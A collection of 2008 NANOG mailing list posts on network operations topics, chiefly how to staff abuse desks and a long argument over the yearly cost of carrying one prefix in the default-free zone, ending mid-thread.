Re: Abuse response [Was: RE: Yahoo Mail Update]
On Tue, Apr 15, 2008 at 8:49 PM, Martin Hannigan [EMAIL PROTECTED] wrote: Abuse desk is a $0 revenue operation. Is it not obvious what the issue is? Martin, So is marketing, yet marketing does have an impact on revenue. It can be useful to explain the abuse desk as being just another form of marketing, another form of reputation management that happens to be specific to Internet companies. Handling the abuse desk well (or poorly) builds (or damages) the brand. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr. .. Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Abuse response [Was: RE: Yahoo Mail Update]
On Tue, Apr 15, 2008 at 8:34 AM, Rich Kulawiec [EMAIL PROTECTED] wrote: - Automation is far less important than clue. Attempting to compensate for lack of a sufficient number of sufficiently-intelligent, experienced, diligent staff with automation is a known-losing strategy, as anyone who has ever dealt with an IVR system knows. Rich, That is one place that modern antispam efforts fall apart. It's the same problem that afflicts tech support in general. The problem exists for the same reason that large-city McDonalds workers don't speak English: Anyone with sufficient clue to run an abuse desk is well qualified for more interesting, important and higher-paid work where they don't get yelled at all the time. Like administering mail servers or writing mail software. There's a reason we pay garbage collectors a small fortune to do a job that requires no skill whatsoever. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr. .. Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Abuse response [Was: RE: Yahoo Mail Update]
On Tue, Apr 15, 2008 at 10:00 AM, Marshall Eubanks [EMAIL PROTECTED] wrote: On Apr 15, 2008, at 9:43 AM, William Herrin wrote: That is one place that modern antispam efforts fall apart. It's the same problem that afflicts tech support in general. The problem exists for the same reason that large-city McDonalds workers don't speak English: Anyone with sufficient clue to run an abuse desk is well qualified for more interesting, important and higher-paid work where they don't get yelled at all the time. Like administering mail servers or writing mail software. There's a reason we pay garbage collectors a small fortune to do a job that requires no skill whatsoever. Do you _know_ any garbage collectors ? I do, and I would disagree with both clauses of that sentence. Marshall, No, but I know a few people who have (briefly) worked abuse desks and neither the tech support nor the McDonalds problem are difficult to observe. Without conceding the garbage collection issue, let me ask you directly: how do you propose to motivate qualified folks to keep working the abuse desk? Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr. .. Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Abuse response [Was: RE: Yahoo Mail Update]
On Tue, Apr 15, 2008 at 10:55 AM, Marshall Eubanks [EMAIL PROTECTED] wrote: On Apr 15, 2008, at 10:31 AM, William Herrin wrote: how do you propose to motivate qualified folks to keep working the abuse desk? That is a good question. (I feel sure that many actually doing the job would opt for a rise in pay.) Maybe certain jobs should become apprentice-like positions that you need to get through to rise in a networking organization. Marshall, There's a novel idea. Require incoming senior staff at an email company to work a month at the abuse desk before they can assume the duties for which they were hired. My hunch says that's a non-starter. It also doesn't keep qualified folks at the abuse desk; it shuffles them through. Any other ideas? Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr. .. Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Abuse response [Was: RE: Yahoo Mail Update]
On Tue, Apr 15, 2008 at 2:04 PM, Steve Atkins [EMAIL PROTECTED] wrote: Unfortunately many of the skills required to be a competent abuse desk worker are quite specific to an abuse desk, and are not typically possessed by random technical staff. Steve, You don't, per chance, mean to suggest that random back-office technical staff might not have the temper and disposition to remain polite and helpful with the gentleman from the state capital so upset about the interdiction of his political mailings that he's ready to sic the regulators on you and wipe you off the map? The problem is that the individual who -does- have those skills along with the technical know-how to deal with the complaint itself usually ALSO has the skills to be the customer contact for a multi-million dollar contract. If you're a manager at a company that wants to, well, make money, which chair will you ask that individual to sit in? Regards, Bill -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr. .. Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: spam wanted :)
On Thu, Apr 10, 2008 at 08:55:21AM -0400, Rich Kulawiec wrote: On Thu, Apr 10, 2008 at 06:32:53PM +0900, Randy Bush wrote: for a measurement experiment, i would like O(100k) *headers* from spam from europe and a similar sample from the states. Request for clarification: do you mean spam originating at IP addresses believed to be in Europe or spam received at a mail server located in Europe or spam putatively from domains in Europe or something else? One thing that happened when I moved to Europe and started doing business in Germany is that relatively soon I began receiving spam in German (which seems to have quite different content, and sales strategy, actually, perhaps reflecting cultural differences in the manner of buying and selling between the anglophone world and Germany). Trying to separate out what in Europe means in this case seems to come down to having given out email addresses to web sites and collegues in a different language environment rather than physical presence of either myself or my mailserver in either North America or Europe. I guess the German spam I have been receiving is only european in that German speakers happen to be mostly in Europe, which is not true of English speakers. I wonder, is the (English language) spam set that one is likely to receive in Australia statistically different than what one is likely to receive in the US? -w
Re: anybody else get mail from Cassel McWaters (xtracapacity.com) today?
On Thu, Apr 10, 2008 at 05:47:20PM +, Paul Vixie wrote: i'm trying to keep track of which mailing list is getting scraped by whom, at least among those who coldcall me. anybody else get one of these today? I noticed one to our NOC address (at a university) - in that case, probably not scraped from this list, but probably scraped from whois. w
RE: Bandwidth issues in the Sprint network
Not 100% sure about iperf but I2 has a nice Network Performance Toolkit that runs on top of Knoppix and they have a downloadable ISO image... Get the ISO here... http://e2epi.internet2.edu/network-performance-toolkit.html Interesting doc on configuring toolkit from SLAC... http://confluence.slac.stanford.edu/display/IEPM/Network+Performance+Too lkit Bill Murphy Senior Network Analyst University of Texas Health Science Center - Houston -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Michael Holstein Sent: Wednesday, April 09, 2008 10:00 AM To: [EMAIL PROTECTED] Cc: nanog@merit.edu Subject: Re: Bandwidth issues in the Sprint network Does anyone know of bootable Linux CD with iperf on it? Knoppix STD (security tools distro) http://www.knoppix-std.org/tools.html Cheers, Michael Holstein Cleveland State University
Re: 10GE router resource
On Wed, Mar 26, 2008 at 4:26 PM, Sargun Dhillon [EMAIL PROTECTED] wrote: from a viewpoint of hardware, x86 is a fairly decent platform. I can stuff 40 (4x10GigE multiplex with a switch) 1 GigE ports in it. Though, the way that Linux works, it cannot handle high packet rates. Correction: The way DRAM works, it cannot handle high packet rates. Also note that the PCI-X bus tops out in the 7 to 8 gbps range and it's half-duplex. High-rate routers try to keep the packets in an SRAM queue and instead of looking up destinations in a DRAM-based radix tree, they use a special memory device called a TCAM. http://www.pagiamtzis.com/cam/camintro.html Regards. Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr. .. Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: 10GE router resource
On Wed, Mar 26, 2008 at 6:54 PM, Sargun Dhillon [EMAIL PROTECTED] wrote: I wonder how difficult it would be to integrate such a device on to an x86 board cheaply. Something like NetFPGA (http://netfpga.org/) would be an interesting place to start. The board has on board SRAM, a bit of DRAM, an FPGA, and 2 GigE interfaces. Hi Sargun, SRAM != TCAM. With SRAM you can only access one word per cycle. The coolness of the TCAM is that the entire memory is queried in one cycle, spitting out the best match. Nevertheless, there is some interesting hardware out there. The Endace DAG card with the coprocessor has a TCAM on it, but it's not big enough to handle a full BGP table. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr. .. Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: rack power question
On Tue, Mar 25, 2008 at 5:00 PM, Paul Vixie [EMAIL PROTECTED] wrote: Have you made any calculations if geo-cooling makes sense in your region to fill in the hottest summer months or is drilling just too expensive for the return? i'm too close to san francisco bay. Paul, Why is that bad? I thought ground-source HVAC systems worked better if the ground was saturated with water. Better thermal conductivity than dry soil. My problem finding someone to install a ground-source system was that everyone for miles is on city water. You have to be able to drill a hole in the ground and the folks familiar with well-drilling equipment are three hours away. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr. .. Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: IPv6 tunnel for ISP sought
On Sat, Mar 22, 2008 at 3:44 PM, Joel Snyder [EMAIL PROTECTED] wrote: We would like to get an IPv6 tunnel to begin limited testing of IPv6 for customers. Is there any IPv6-savvy ISP out there who will give/sell tunnels to other ISPs? Experimentation with SixXS.NET has proven to be problematic, so I'd rather have a more stable and commercial relationship if possible. Joel, Give the folks at Hurricane Electric a shot if you haven't already: http://tunnelbroker.net/ Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr. Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: NANOG laptops (was Re: Customer-facing ACLs)
Marshall Eubanks wrote: I used to count the proportion of Mac laptops in the room (or, at least, my row) to pass the time when I was bored. I remember at the 1999 Washington IETF I saw exactly one, and I could hear people whisper about it around me. I used to attend with various Powerbook flavors over the years. I'm sure that I wasn't the only person with a Mac at IETF in 1999. I snuck my SO into the terminal room with her Mac, too In the *really* old days, MacTCP (and MacPPP, of course) were pretty common among my compatriots, talking to Sun farms. But in those days, I used PC desktops and laptops with KA9Q NOS. We ran an ISP entirely on MacOS machines (with NetBlazers and PortMasters) from 1994 to circa 1999, when Yellow Dog Linux became available.
Re: Customer-facing ACLs
I was quite surprised to see the large number of Mac laptops at NANOG 42. I didn't do a formal count but it seemed like about 1/4 to 1/3 of the laptops in use were Macs. ...You know, now that you mention it, I was also quite impressed with how many macbook pros there were in room as well. That would be good to informally track I think : what tools(laptops) do NANOG folk tend to use? as this data might help SW dev types to target their netTools distributions to mac platforms more quickly. In the good ole days it seemed like 99% were PCs maybe a couple were reinstalled with some form of unix, and the rare and incompatible couple of macs in the room were driven by freaks speaking a different language (appletalk) and hitting weirder clover keys than the rest of us. Now, Apple seems to be the neteng laptop of choice, what the cool kids drive. Bill
Re: What is being 'ON NET' good for these days?
On Feb 18, 2008 8:00 AM, Drew Weaver [EMAIL PROTECTED] wrote: We are currently ON NET with 3 major international telecommunication companies Drew, On Net is like Tier 1. It has devolved into marketspeak that doesn't mean very much. In your case it seems to mean that you can connect with that particular carrier without first purchasing an ILEC local loop. This is mildly helpful, but only mildly. What it sounds like you're looking for is a carrier neutral data center where you can connect with multiple providers and peers. The Equinixes and Switch and Datas of the world fill this niche. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Another cablecut - sri lanka to suez Re: Sicily to Egypt undersea cable disruption
An interesting line from page 10 of the article: Diversity is not needed in the deep ocean, but land crossings are viewed as considerably more risky. This philosophy should probably be rethought somewhat, as we may have discovered this past week. All the recent cuts were littoral, near shore or shallow water. Which is the historical pattern, by far. Cables do go bad and are damaged in the dark depths of the abysmal plains, but by and large damage is near shore, due to people or shallow water related natural effects (waves, underwater landslides, etc). -george william herbert [EMAIL PROTECTED]
Re: Sicily to Egypt undersea cable disruption
Actually, last year, Scotland Yard claimed Al Qaeda planned on blowing up one of the Telehouse facilities in the UK And, significantly, AQ would benefit from a telecommunications (and other things) disconnect from the West to the Middle East, in both tactical and strategic senses. However, despite the attractive target angle of what got busted, and the proximity of the breaks to Islamic Terrorist problem spots, I don't see a statistical or evidentiary case made that these were anything but the usual occasional strings of normal random problems spiking up at the same time. Another one in the region, or evidence from any of the cuts that it was not an accident, would start yellow lights flashing in my mind, but we're not there yet. -george william herbert [EMAIL PROTECTED]
Re: Cost per prefix [was: request for help w/ ATT and terminology]
On Jan 21, 2008 10:28 PM, Jon Lewis [EMAIL PROTECTED] wrote: Is there really any point in trying to put a $ figure on each route? Jon, Emphatically Yes! Right now we rely on ARIN and the RIRs to artificially suppress the growth of the prefix count and with it the availability of PI space. This is a Really Bad Thing on so many levels, but absent a viable market-based solution to the problem, authority-based rationing is really the only thing we can do. If we can determine the cost to announce a prefix then we could develop a market-based solution to the problem... One where instead of suppressing the prefix count and dealing with it as business overhead, we GET PAID for announcing and propagating prefixes. There are several market models that could work, but they all depend on having a reliable metric for the cost of announcing a prefix. So, if you think you'd like to get paid for announcing routes instead of continuing to give the service away for free then yes, there is a point to determining the cost of a prefix. On Jan 21, 2008 6:14 PM, David Barak [EMAIL PROTECTED] wrote: Wouldn't a reasonable approach be to take the sum of a 6500/msfc2 and a 2851, and assume that the routing computation could be offloaded? David, No, because the FIB can't be offloaded; it has to sit on the router's forwarding plane and it has to keep up. Between the low single-digit gbps and the low double-digit gbps, equipment which both keeps up and supports a large prefix count is significantly more expensive than equipment which keeps up but does not support a large prefix count. The difficulty I have with this discussion is that the cost per prefix is zero until you need to change eigenstate, where there's a big cost, and then it goes back to zero again. This is one of the harder aspects of operations cost analysis to wrap your head around. Not only isn't the operations cost attributable to a particular feature set bound to the associated manufacturing cost, it's different for different scenarios in which the equipment is used. To accurately assess the cost, you have to identify the boundary conditions that drive equipment selection. Let me construct two scenarios which illustrate this: Scenario A: You have 1U LAN switches serving 500 PCs at 100mbps and a few dozen servers at 1gbps. You want to upgrade to 1gbps to the PCs and 10gbps to the servers. You replace the 1U switches with 7600/sup720s. The cost driver in this scenario is the 10gbps server links. You can get 1U switches that stack and backbone at 10gbps but to hook up all the servers at 10gbps (to support the 1gbps workstations) you have to step up to the next class of equipment. This is the sole reason you need a 7600 instead of a few 1U gig-e switches. Therefore the 100% of difference in cost between a 7600 and a few 1U gig-e switches is attributable to the forwarding capacity required by the servers. In scenario A, the 7600's much larger prefix carrying capacity is not a cost driver. It plays no role in the decision to purchase a 7600 instead of 1U switches. As a result, the operations cost attributable to the 7600's larger prefix capacity is exactly zero. Scenario B: You have a metro ethernet POP moving 2 gbps of traffic with a couple 1U fiber switches. Use is gradually increasing; you project that 12 months out it will be 2.5gbps. For business reasons you want to extend the DFZ to this POP. You replace the 1U switches with a 7600/sup720-3bxl. The cost driver in this scenario is the DFZ extension, specifically the prefix count in the DFZ. At 2gbps, your existing equipment is not even close to tapped out, but it can't even think about carrying the DFZ's prefixes in its FIB. The sole reason you need a 7600 instead of a few 1U gig-e switches is the prefix count. Therefore the 100% of difference in cost between a 7600 and a few 1U gig-e switches is attributable to the prefix count required by the DFZ. Almost the exact same upgrade, but in one scenario the cost is attributable to the forwarding capacity and in the other its attributable to the prefix count. I think this is what's giving Patrick the most trouble as well. He wants equipment cost at an operations level to map to the component manufacturing cost as common sense says it should, but it doesn't work that way. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Cost per prefix [was: request for help w/ ATT and terminology]
On Jan 22, 2008 1:58 PM, Jon Lewis [EMAIL PROTECTED] wrote: Giving absolutely anyone who wants it PI space would make things much worse...so I wouldn't call that artificial supression. It's more like keeping the model sustainable. Jon, Its kinda like gas in the 70's. There wasn't enough to go around given the price controls so the only way to keep the consumption model sustainable was with rationing. Except history tells us that was kinda dumb. Had we allowed prices to adjust (as we're doing today) the market would have taken care of itself. Gas would have tripled in price and more folks would have taken the bus but you wouldn't have the entire nation waiting in line at the pump. Right now, announcing a prefix is close to free. If my numbers are right, it actually costs around $8k/year. A sustainable model selling an $8k product as a free loss-leader requires some pretty harsh rationing. Which is precisely what ARIN does, at our insistence. I think you mean get paid for accepting prefixes or perhaps pay into some global pool (for redistribution to the participants) to announce prefixes. That's right. The vendors are currently delivering routers that can handle 1M prefixes and they promise that they can build routers that handle 10M prefixes with today's technology if there's a demand. If folks want to pay us more than it costs to dump another 700k prefixes into the table, why shouldn't we take the profit? It's free money. Even at $8k there are folks willing to pay it. All it requires is a market structure that makes the transaction possible. Let's engage our imaginations, roll with your global pool model for a moment and see if anything interesting pops out of the box. So, ARIN starts assigning addresses down to a /28 level. The only requirement for a prefix longer than /20 is that they must remain in continuous use on the Internet or they'll be revoked Then, NRO sets up a Universal Service Fund for DFZ routing. Any transit AS which agrees to accept and normally propagate exactly the prefixes that are subscribed to the USF is entitled to receive monthly payments from the USF based on some formula including that AS's backbone speeds, number of routers and number of peers. At the other side, anyone who wants their routes carried can make a fixed contribution to the USF for each prefix that they want to announce, all the way down to a /32. That only entitles them to announce exactly that one prefix. If they want to disaggregate, they have to pay for each of the deaggregates separately. So now you have folks who can only justify a /28 but its worth $8k/year to their business to have PI space so that there are no renumbering costs. And the best part is that they're paying you for the privilege, paying more than it costs, instead of you having to blandly accept those prefixes for free. But wait, it gets better. Now that there's a market structure in place, its possible to envision different classes of service. Maybe this market holds a niche for folks who don't want to pay $8k/year into the USF. Suppose ARIN auctions off the right to announce a covering /8 for each of its IANA allocations. The winner can't use any of the addresses for itself, but it has the right to sell tunnels to the folks with more specific prefixes. So, if you're a small fry, maybe you don't pay $8k/year into the USF. Instead, you pay $500/year each to the two backbones closest to you and then you pay another $1000/year to the tunnel provider whose /8 covers your prefix. Your ISP gives you one address from their PA space to catch the endpoint of that tunnel and for $2k/year you're in business with PI space. If you picked your backbones right, there's even a decent chance that traffic following the /8 usually wanders into one of them and redirects your way before hitting the tunnel. And suddenly, surprisingly, the Internet works better than ever without everyone having to carry full routes, you get PAID for the prefixes you do carry and everyone who wants PI or lots of TE can have it! Its not free any more, but you can have anything you're willing to pay for without having to justify yourself to the rationing board. Good luck on that one. In how many languages can you say not gonna happen? Do programming languages count? $paiddfz=!$happen; Seriously, the goal may seem unachievable but that doesn't mean it's not worth striving for. Who knows what we may find on the way? On Jan 22, 2008 11:35 AM, Bill Woodcock [EMAIL PROTECTED] wrote: instead of eating less, we GET PAID for eating tasty sammitches! I would love to get paid for eating tasty sammitches. How cool a job would that be! Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Cost per prefix [was: request for help w/ ATT and terminology]
On Jan 21, 2008 5:26 PM, Jon Lewis [EMAIL PROTECTED] wrote: If using the 7600/3bxl as the cost basis of the upgrade, you might as well compare it to the 6500/7600/sup2 or sup3b. Either of these would likely be what people buying the 3bxls are upgrading from, in some cases just because of DFZ growth/bloat, in others, to get additional features (IPv6). Hi Jon, Hmm. Well, the secondary market is flooded with sup2's right now, with the card at sub-$1k prices and with a 6500+sup2 in the $5k range. There isn't really a comparable availability of the sup720-3bxl although eBay does have a few listed in the $12k range. If we take $5k-$1k=$4k for the chassis/ps/etc and compare $16k versus $5k for a 6500/sup720-3bxl versus a 6500/sup2 we get just shy of 70% attributable to the prefix carrying capacity. That's essentially the same number I came up with before. I wouldn't want to stand behind those numbers, though. I'm not sure what the error band is, but it has to be huge. The equivalence in the secondary market just isn't there. Nor can we use $12k as the baseline price for the sup720-3bxl. There isn't wide availability at that price, just a few sketchy sellers from Hong Kong. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Cost per prefix [was: request for help w/ ATT and terminology]
On Jan 19, 2008 11:43 PM, Patrick W. Gilmore [EMAIL PROTECTED] wrote: On Jan 19, 2008, at 12:55 PM, William Herrin wrote: There was some related work on ARIN PPML last year. The rough numbers suggested that the attributable economic cost of one IPv4 prefix in the DFZ (whether PI, PA or TE) was then in the neighborhood of $8000 USD per year. I haven't seen that work, but I am guessing this number is an aggregate (i.e. every cost to everyone on the 'Net combined), not per- network? See, I'm just looking at that TWO BILLION DOLLARS PER YEAR number and thinking to myself, um, yeah, right. :) Patrick, That was a worldwide total, yes. The cost per prefix per router is obviously only measured in cents per year. You do know that Cisco's sales are north of $20B per year, right? Juniper, which sells few products that aren't DFZ routers, also posts annual revenues well north of $1B. Feel free to explain how confused I am. (But be warned, I am not going to believe it costs $2B/year to run a multi-homed network with two full feeds. :) The thread started here: http://lists.arin.net/pipermail/ppml/2007-September/008927.html It was originally an argument of about the cost of doing PI for IPv6, which according to Cisco product literature consumes twice the amount of space in the FIB as routes for IPv4. I encourage you to critique the numbers and then add them up for yourself. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Cost per prefix [was: request for help w/ ATT and terminology]
On Jan 20, 2008 9:46 AM, Patrick W. Gilmore [EMAIL PROTECTED] wrote: On Jan 20, 2008, at 6:06 AM, William Herrin wrote: On Jan 19, 2008 11:43 PM, Patrick W. Gilmore [EMAIL PROTECTED] wrote: On Jan 19, 2008, at 12:55 PM, William Herrin wrote: There was some related work on ARIN PPML last year. The rough numbers suggested that the attributable economic cost of one IPv4 prefix in the DFZ (whether PI, PA or TE) was then in the neighborhood of $8000 USD per year. I haven't seen that work, but I am guessing this number is an aggregate (i.e. every cost to everyone on the 'Net combined), not per- network? See, I'm just looking at that TWO BILLION DOLLARS PER YEAR number and thinking to myself, um, yeah, right. :) Patrick, That was a worldwide total, yes. The cost per prefix per router is obviously only measured in cents per year. I think you mean in tiny fractions of a single cent per router per year No, I don't. The lower bound for that particular portion of the cost analysis is easy to calculate: Entry level DFZ router: $40,000 Stacked 1U layer-3 switches with similar switching capacity and port density: $10,000 Difference between the two: The switch stack can't handle the DFZ prefix count. Cost delta (attributable to the DFZ prefix count): $30,000 Expected lifespan in the DFZ of an entry-level router: 3 years Prefixes in the table: 245,000 Calculation: The LOWER BOUND for the cost per prefix per router can be calculated as: ( [entry level router's cost attributable to prefixes]/[expected lifespan] ) / [DFZ prefix count] ($30,000/3)/245,000 = $0.04 per router per year, i.e. 4 cents. Bear in mind that 4 cents per year is a LOWER BOUND. It costs AT LEAST 4 cents per router per year to carry one prefix in one DFZ router. There are also routers in the DFZ which cost $500,000 where much more than $30,000 is attributable to the prefix count. . While there are 27K ASes ($0.30/year/AS, remember?), there are many more routers which carry a full table. Yes, there are many more routers than ASes. In my original analysis on ARIN, I estimated that there were some 200,000 routers carrying a full table in the DFZ. The consensus at the time was that the number was closer to 150,000 than 200,000. 150,000 times 4 cents yields a LOWER BOUND economic impact of $6,000 per prefix per year, $1.5B overall. Again, that's a lower bound on the estimate. The upper bound is perhaps twice that with the highest probability cost around $8,000 per prefix per year. Comparing cisco Juniper's annual revenue to the cost of a prefix is like comparing Ford GM's revenue to the cost of bulbs in headlights. Hell, most of cisco's revenue is not even related to routers doing a full table. Of course not. However, it makes a good sanity check on the cost estimate: If the costs attributable to prefix count sums to more than their revenues then there must be an error in the math. My point was that the $8000/prefix/year estimate passes the sanity check with plenty of room to spare. The thread started here: http://lists.arin.net/pipermail/ppml/2007-September/008927.html It was originally an argument of about the cost of doing PI for IPv6, which according to Cisco product literature consumes twice the amount of space in the FIB as routes for IPv4. Anyway, thanks for the link. I must be missing something seriously important to the calculation. Perhaps it includes things like human time to upgrade equipment or filters or something? I'll see how the calculation was put together. Nope, just the numbers you see in the link. I didn't calculate cost increases due to manpower, cost reductions due to equipment reuse after its DFZ lifespan, or other factors for which data is sketchy and the likely impact to the analysis is small. Like I said: read the thread, critique the numbers and then add them up for yourself. A prefix is surprisingly expensive. If it wasn't, folks wouldn't be so concerned about the rising prefix count. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Cost per prefix [was: request for help w/ ATT and terminology]
On Jan 20, 2008 1:11 PM, Patrick W. Gilmore [EMAIL PROTECTED] wrote: On Jan 20, 2008, at 12:22 PM, William Herrin wrote: I think you mean in tiny fractions of a single cent per router per year No, I don't. The lower bound for that particular portion of the cost analysis is easy to calculate: ( [entry level router's cost attributable to prefixes]/[expected lifespan] ) / [DFZ prefix count] Your calculation is in error. Patrick, Feel free to correct it. Substitute any numbers that you can *justify*, add any factors that you can justify and recalculate. If your justification is sensible, I'll adjust my own numbers accordingly. I'd prefer that the numbers be lower so I can find a way to justify IPv6 PI space. :) However, please try not to disagree merely because you don't want to accept the results. Denial is not productive. Entry level DFZ router: $40,000 Stacked 1U layer-3 switches with similar switching capacity and port density: $10,000 One of us is very confused. Given that I order entry level DFZ routers all the time far less than $40K every month, I am going to guess it is not me. Perhaps your definition of entry level DFZ router differs from mine. I selected a Cisco 7600 w/ sup720-3bxl or rsp720-3xcl as my baseline for an entry level DFZ router. This seemed to be the minimum Cisco kit which could reasonably be expected to remain in service as a full table DFZ router through 1/2011. What would you select instead? Please note that neither a Cisco 7200 nor a sup/rsp720 prior to the 3bxl/3cxl can be reasonably expected to have 3-year lifespan in the DFZ. They simply can't keep up with the expected growth in the routing table. I'll confess to not knowing the Juniper line well enough to comment on their equivalent system. Do they cost radically less than Cisco gear? The difference is much, much, much greater than that. Can the switch do ACLs? Policy routing? SFlow with the same sampling rate? Same number of BGP session? Is there some alternate piece of cheap hardware that supports the DFZ prefix count at high data rates but doesn't have those features? If the answer is no (and I'm pretty sure the answer is no), then the prefix count remains the proper attribution for the cost delta. And yes, today's virtual chassis 1U switch stacks are pretty slick. I can't speak to sflow or policy routing but many if not most support both BGP and ACLs. Most also have 128M on the control plane and 8k or 16k entries in the TCAMs which obviously does not support a DFZ table. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Cost per prefix [was: request for help w/ ATT and terminology]
On Jan 20, 2008 5:10 PM, Patrick W. Gilmore [EMAIL PROTECTED] wrote: If we take out the proper attribution for the cost delta out of the equation and the equipment is still not considered equal, I submit your idea of proper attribution is, well, not proper. Patrick, So at this point, the part of my analysis you still dispute is where I claimed that 75% of the $40k cost of an entry-level DFZ router was attributable to its ability to carry the needed prefix count. I didn't ask you to justify what you thought made my assessment of the attributable cost was wrong, although I'm glad you agree that you haven't done so. You also haven't adequately explained why the justification I used to arrive at those numbers is in error. I am, however, asking you to propose and justify an alternate pair of numbers: (A) The router model and price that you believe qualifies as an entry-level DFZ router which can reasonably be expected to have a 3-year service life in the DFZ if deployed today, and (B) The percentage of the router's cost which for the typical DFZ router task is attributable to the prefix count. (A) is simple: you find a middling-cheap piece of equipment that meets all the requirements for an entry level DFZ router and look up its price. You then explain what the key features of that piece of equipment are that qualify it as an entry-level DFZ router. For example, with my choice of a Cisco 7600 w/ a sup720-3bxl card, the features are: multigigabit layer-3 forwarding, BGP, supports the 300k+ prefixes likely to be needed within a 3-year deployment cycle. This equipment along with an 48-port gig-e card costs around $40k according to CDW. (B) is also simple: you find a middling-cheap piece of equipment that has all of the required features except for support for the large prefix count. Then you subtract its price from the price you got in A. The difference is the cost attributable to the prefix count for the router in (A). The reason that's the attributable cost is that the presence or absence of that one capability makes the difference between the cheaper or more expensive device being usable in the given application, namely as a DFZ router. For example, the Cisco 3750G has all of features except for the ability to hold 300k+ prefixes. Per CDW, the 48-port version costs $10k, so the difference (ergo cost attributable to prefix count) is $40k-$10k=$30k, or 75%. This is not the only way to arrive at the cost attributable to the prefix count for an entry level DFZ router, but it is by far the easiest to justify. I put it to you again: if you disagree with my numbers, propose and justify your own so that we can have a rational discussion about which justifications make more sense and thus which set of numbers is more likely to be correct. Or you can keep swimming in that river in Egypt. Its up to you. On Jan 20, 2008 5:10 PM, Patrick W. Gilmore [EMAIL PROTECTED] wrote: On Jan 20, 2008, at 3:34 PM, William Herrin wrote: ( [entry level router's cost attributable to prefixes]/[expected lifespan] ) / [DFZ prefix count] I notice you cut out the next two sentences: quote In short, if the table were 50K prefixes instead of 250K, would these pieces of equipment be equivalent? The answer is a blatant no. /quote Yes, I did. Its irrelevant to the cost analysis. The dividing line between the two classes of equipment is in the 8k-16k prefix range. Thus your statement is like saying, If you drop the towing weight from 900 lbs to 200lbs, the 1000lb tow cable is still not functionally equivalent to a 100lb tow cable. That has something of a high duh factor. If you dropped the prefix count to 8k instead of 250k, the two pieces of equipment (virtual chassis stack, entry level DFZ router) would be equivalent for most DFZ router scenarios in which an entry-level DFZ router is used. For cost analysis purposes, you need only consider a true/false condition here: The device supports the required prefix count. The device does not support the required prefix count. There is no gray area between the two and its appropriate to pick middling-low cost members of each group so long as the one from the supports group is a device that actually sees (or is expected to see) significant use in the DFZ application. On Jan 20, 2008 7:15 PM, Joe Abley [EMAIL PROTECTED] wrote: A new cisco 2851 can be found for under $10k and can take a gig of RAM. If your goal is to have fine-grained routing data, and not to carry gigs of traffic, that particular router is perfectly adequate. Joe, For sub-gigabit applications you could also use Linux+Quagga on a $3k server. However, neither of these observations provide a valid data point for the given cost analysis. The question was: What does announcing a prefix into the DFZ cost everybody else? There are a number of constraints on the analysis which are implicit in that question. The relevant constraint here is that the equipment chosen for the various aspects of the analysis
Re: Cost per prefix [was: request for help w/ ATT and terminology]
On Jan 20, 2008 9:46 PM, Patrick W. Gilmore [EMAIL PROTECTED] wrote: On Jan 20, 2008, at 8:46 PM, William Herrin wrote: So at this point, the part of my analysis you still dispute is where I claimed that 75% of the $40k cost of an entry-level DFZ router was attributable to its ability to carry the needed prefix count. As I said before, your calculation is in error. I very clearly explained why, but you threw out my explanation below. Patrick, Just to clarify, your explanation (which I've clipped again) claims an error in the source numbers, not an error in the calculation. Essentially, you've said that when I determined the percentage of an entry level DFZ router's cost attributable to the prefix count I chose as my point of comparison a piece of equipment that is not otherwise functionally equivalent for the DFZ router task. Because an equivalent piece of equipment would be more expensive, the percentage I found to be attributable to carrying and using the prefixes was too high. I disagree, but I acknowledge that you've offered reasonable support for the claim that 75% is not the correct percentage of the router's cost attributable to the DFZ prefix count. So, run with it. Take the analysis you just did and come up with a justified estimate of the percentage of the cost of a representative DFZ router which is attributable to its need to carry a full BGP table. If you think 75% is too high, lets talk about the number you think is correct and why. Perhaps you feel that only the cost of the pfc3bxl and 